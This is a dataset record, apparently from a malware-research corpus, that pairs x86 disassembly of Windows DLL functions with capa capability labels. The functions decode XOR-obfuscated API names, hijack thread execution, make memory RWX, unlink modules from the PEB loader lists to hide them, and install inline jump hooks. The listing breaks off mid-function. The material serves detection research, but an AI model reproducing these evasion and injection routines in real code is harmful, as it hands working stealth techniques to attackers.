joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10022fb0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100b7040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x12
mov dword [ebp - 0x2f8], 0x7e664012
mov dword [ebp - 0x2f4], 0x76737d5e
xor eax, eax
mov dword [ebp - 0x2f0], 0x7b606641
mov word [ebp - 0x2ec], 0x757c
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1002300a
mov cl, byte [ebp - 0x2f8]
jmp 0x10022ff5
push ebx
mov byte [ebp - 0x2e8], 0x1f
mov al, 0x71
xor al, byte [ebp - 0x2e8]
mov bl, 0x73
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x7b
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x6b
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x31
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x10023182
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10023182
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.100831e0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10023182
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10023182
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10023182
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001eb0
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10023182
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10081075
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.10081075
mov esp, ebp
pop ebp
ret
Function at 0x100231a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x3d
mov al, 0x53
xor al, byte [ebp - 0x10]
mov bl, 0x51
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x59
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x49
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x13
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x10023273
movaps xmm0, xmmword [str.s_a]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x11b271d
mov dword [ebp - 0x14], 0x171216
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10023230
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10023273
test esi, esi
jne 0x1002325e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10023280
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x100232be
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100232c2
cmp edx, esi
jne 0x100232a7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x100232e2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100232e6
cmp edx, esi
jne 0x100232cb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10023306
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1002330a
cmp edx, esi
jne 0x100232ef
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10025c70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009d23d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push esi
push edi
mov eax, dword [0x100b7040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [0x100bab14], eax
test edx, edx
je 0x10025e28
cmp dword [ebp + 0xc], 1
jne 0x10025e28
mov eax, dword [esi + 4]
test eax, eax
je 0x10025e13
cmp edx, eax
jne 0x10025e13
cmp byte [0x100baa7b], 0
sete al
xor ecx, ecx
mov byte [0x100baa7b], al
test al, al
je 0x10025d06
movaps xmm0, xmmword [str.z8e_t]
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x30], 0x1c
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x10
jb 0x10025cf0
mov byte [ebp - 0x2f], 0
lea edx, [ebp - 0x3f]
jmp 0x10025d29
movaps xmm0, xmmword [0x100af330]
movups xmmword [ebp - 0x54], xmm0
mov byte [ebp - 0x44], 0
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xf
jb 0x10025d15
mov byte [ebp - 0x44], 0
lea edx, [ebp - 0x53]
mov ecx, edx
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10025d43
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.10002580
mov dword [ebp - 4], 0
mov eax, dword [esi]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10025de4
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10025de4
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
cmova ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10025d83
sub ecx, edx
mov dword [ebp - 0x10], ecx
lea esi, [ecx + 0x21]
push esi
call fcn.100810e9
push esi
mov edi, eax
push 0
push edi
call fcn.100831e0
cmp dword [ebp - 0x18], 0xf
lea edx, [ebp - 0x2c]
push dword [ebp - 0x10]
cmova edx, dword [ebp - 0x2c]
lea esi, [edi + 0x20]
push edx
push esi
call fcn.10082c60
mov eax, dword [ebp - 0x10]
add esp, 0x1c
mov ecx, dword [ebp - 0x14]
mov dword [edi + 4], esi
mov dword [edi + 0x14], eax
push edi
mov dword [edi + 0x18], 0x1f
call dword [0x100ae570]
push edi
call fcn.100810e4
mov esi, dword [ebp - 0x2c]
add esp, 4
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x10025e13
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x10025e09
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10025e3d
push ecx
push esi
call fcn.100810d6
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.1008626f
int3
Function at 0x10026110
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009d26d
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b7040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x28], edi
or eax, 0xffffffff
mov dword [ebp - 0x14], 0
mov dword [edi + 0x38], eax
lea ecx, [ebp - 0x34]
mov word [edi + 0x3c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x28]
movq qword [ebp - 0x1c], xmm0
sub eax, ecx
mov dword [edi + 0x14], 0
mov dword [ebp - 0x20], eax
sar eax, 2
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [ebp - 0x34], 0x350
mov dword [ebp - 0x30], 0x140
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10026217
push eax
lea ecx, [ebp - 0x1c]
call fcn.10024de0
push dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.10082c60
mov eax, dword [ebp - 0x24]
add esp, 0xc
lea eax, [esi + eax*4]
mov dword [ebp - 0x18], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
sar eax, 2
test eax, eax
je 0x10026273
push eax
mov ecx, esi
call fcn.10024de0
mov edi, dword [esi]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub esi, eax
push esi
push eax
push edi
call fcn.10082c60
mov ecx, dword [ebp - 0x24]
add esp, 0xc
sar esi, 2
lea eax, [edi + esi*4]
mov edi, dword [ebp - 0x28]
mov dword [ecx + 4], eax
mov ecx, 0xd78d54
call fcn.10018460
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0xc
mov dword [edi], eax
push 4
push 0x4de1e6
call esi
test eax, eax
jne 0x100262a4
mov edx, 0x10028ba0
mov ecx, 0x4de1e6
call fcn.1001cf80
mov eax, dword [edi]
test eax, eax
je 0x1002630c
push 4
push eax
call esi
test eax, eax
jne 0x1002630c
mov ecx, edi
call fcn.10026340
cmp dword [0x100bab24], 0
jne 0x10026312
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x100262ee
push 4
push eax
call esi
test eax, eax
jne 0x100262ee
mov eax, dword [ebp - 0x20]
push 4
add eax, 0x64
push eax
call esi
test eax, eax
jne 0x100262ee
mov eax, dword [ebp - 0x20]
mov esi, dword [eax]
add esi, 0x64
jmp 0x100262f0
xor esi, esi
mov eax, dword [esi]
push 4
push eax
mov dword [0x100bab24], eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10026312
mov dword [esi], 0x10028bd0
jmp 0x10026312
mov dword [edi], 0
lea ecx, [ebp - 0x1c]
call fcn.1000cde0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10081075
mov esp, ebp
pop ebp
ret
Function at 0x10036390
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x100af970]
push esi
mov esi, ecx
mov dword [esp + 0x18], 0x766c407a
push edi
mov dword [esp + 8], esi
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 0x20], 0x6b7e6a6b
mov dword [esp + 0x24], 0x717076
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x1a
jb 0x100363c7
xorps xmm0, xmm0
mov byte [esp + 0x27], 0
lea ecx, [esp + 0xd]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10036400
sub ecx, edx
lea eax, [esp + 0xd]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002580
cmp dword [esp + 0x40], 0
mov edi, dword [esi]
mov dword [esp + 0x28], edi
je 0x1003649c
test edi, edi
je 0x1003649c
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003649c
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x2c], eax
mov esi, dword [eax]
cmp esi, eax
je 0x10036498
cmp esi, dword [edi + 0xc4]
jne 0x10036453
call fcn.1008625f
mov edi, dword [esi + 8]
test edi, edi
je 0x1003647f
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x10036465
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100364cb
mov edi, dword [esp + 0x28]
cmp esi, dword [edi + 0xc4]
jne 0x10036490
call fcn.1008625f
mov esi, dword [esi]
cmp esi, dword [esp + 0x2c]
jne 0x10036446
mov esi, dword [esp + 8]
xor edi, edi
mov ecx, dword [esp + 0x44]
mov dword [esi + 4], edi
cmp ecx, 0xf
jbe 0x100364db
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100364d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100364fe
jmp 0x100364d1
mov esi, dword [esp + 8]
jmp 0x1003649e
push ecx
push edx
call fcn.100810d6
add esp, 8
mov esi, dword [esi]
test esi, esi
je 0x100364f8
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100364f8
push 0x14
mov ecx, esi
call dword [0x100ae520]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008626f
int3
Function at 0x1003cf60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x100aebd0]
xor edx, edx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x1c], edi
movups xmmword [esp + 0x20], xmm0
nop
mov al, byte [esp + 0x20]
xor byte [esp + edx + 0x21], al
inc edx
cmp edx, 0xe
jb 0x1003cf80
xorps xmm0, xmm0
mov byte [esp + 0x2f], 0
lea ecx, [esp + 0x21]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1003cfb2
sub ecx, edx
lea eax, [esp + 0x21]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002580
cmp dword [esp + 0x40], 0
mov edi, dword [edi]
mov dword [esp + 0x14], edi
je 0x1003d04a
test edi, edi
je 0x1003d04a
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003d04a
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x18], eax
mov esi, dword [eax]
cmp esi, eax
je 0x1003d04a
cmp esi, dword [edi + 0xc4]
jne 0x1003d005
call fcn.1008625f
mov edi, dword [esi + 8]
test edi, edi
je 0x1003d031
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x1003d017
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1003d04c
mov edi, dword [esp + 0x14]
cmp esi, dword [edi + 0xc4]
jne 0x1003d042
call fcn.1008625f
mov esi, dword [esi]
cmp esi, dword [esp + 0x18]
jne 0x1003cff8
xor edi, edi
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x44]
mov dword [eax + 4], edi
cmp ecx, 0xf
jbe 0x1003d085
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003d07b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003d08b
push ecx
push edx
call fcn.100810d6
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008626f
int3
Function at 0x10040100
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x100afb10]
xor edx, edx
push esi
push edi
mov edi, ecx
mov byte [esp + 0x2c], 0
mov dword [esp + 0x18], edi
movups xmmword [esp + 0x1c], xmm0
mov al, byte [esp + 0x1c]
xor byte [esp + edx + 0x1d], al
inc edx
cmp edx, 0xf
jb 0x10040124
xorps xmm0, xmm0
mov byte [esp + 0x2c], 0
lea ecx, [esp + 0x1d]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10040156
sub ecx, edx
lea eax, [esp + 0x1d]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002580
cmp dword [esp + 0x40], 0
mov edi, dword [edi + 4]
mov dword [esp + 0x10], edi
je 0x100401f2
test edi, edi
je 0x100401f2
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100401f2
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x14], eax
mov esi, dword [eax]
cmp esi, eax
je 0x100401f2
nop dword [eax]
cmp esi, dword [edi + 0xc4]
jne 0x100401ad
call fcn.1008625f
mov edi, dword [esi + 8]
test edi, edi
je 0x100401d9
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x100401bf
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100401f4
mov edi, dword [esp + 0x10]
cmp esi, dword [edi + 0xc4]
jne 0x100401ea
call fcn.1008625f
mov esi, dword [esi]
cmp esi, dword [esp + 0x14]
jne 0x100401a0
xor edi, edi
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x44]
mov dword [eax], edi
cmp ecx, 0xf
jbe 0x1004022c
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10040222
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10040232
push ecx
push edx
call fcn.100810d6
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008626f
int3
Function at 0x1007cff0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009f98d
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x100b7040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmova eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.1007ce80
cmp byte [ebp - 0x84], 0
jne 0x1007d141
xor ecx, ecx
lea edx, [ebp - 0x3f]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x18], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x17], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x16], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x15], al
add ecx, 4
cmp ecx, 8
jb 0x1007d085
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100b90b8
call fcn.1007ce80
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.1007ce80
xor ecx, ecx
lea edx, [ebp - 0x37]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x28], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x27], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x26], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x25], al
add ecx, 4
cmp ecx, 0x10
jb 0x1007d0f4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call fcn.100831e0
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.1007cf30
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x1007d17d
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007d173
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1007d199
push ecx
push edx
call fcn.100810d6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10081075
mov esp, ebp
pop ebp
ret
call fcn.1008626f
int3
Function at 0x1007d1a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100b7040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], edx
mov eax, 5
mov dword [ebp - 0xc], edi
add eax, eax
mov ecx, 0xffffffff
cmovo eax, ecx
push eax
call fcn.10088f12
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
mov ebx, esi
push eax
push 0x40
push 5
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov al, byte [ecx + 4]
mov byte [esi + 4], al
add esi, 5
mov eax, ecx
sub eax, esi
mov dword [esi + 1], eax
mov eax, dword [ebp - 0x10]
sub eax, ecx
mov byte [esi], 0xe9
sub eax, 5
mov byte [ecx], 0xe9
mov dword [ecx + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 5
push ecx
call edi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10081075
mov esp, ebp
pop ebp
ret

Function at 0x1007e3a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1007e570
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1007e47d
mov edx, dword [ebp - 4]
cmp edx, dword [0x100b7014]
jb 0x1007e3ea
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b7018]
ja 0x1007e3ea
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1007e3ba
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100831e0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1007e40f
jmp 0x1007e47d
cmp dword [ebp - 0x14], 0x10000
jne 0x1007e463
cmp dword [ebp - 0x18], 0x10000
jb 0x1007e463
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1007e446
mov eax, dword [ebp - 8]
jmp 0x1007e47f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1007e456
xor eax, eax
jmp 0x1007e47f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1007e478
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1007e570
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1007e3ba
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1007e490
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1007e5a0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1007e565
mov edx, dword [ebp - 4]
cmp edx, dword [0x100b7014]
jb 0x1007e4d5
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b7018]
ja 0x1007e4d5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1007e4a5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100831e0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1007e4fa
jmp 0x1007e565
cmp dword [ebp - 0x14], 0x10000
jne 0x1007e54e
cmp dword [ebp - 0x18], 0x10000
jb 0x1007e54e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1007e531
mov eax, dword [ebp - 8]
jmp 0x1007e567
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1007e541
xor eax, eax
jmp 0x1007e567
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1007e560
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1007e5a0
add esp, 4
mov dword [ebp - 4], eax
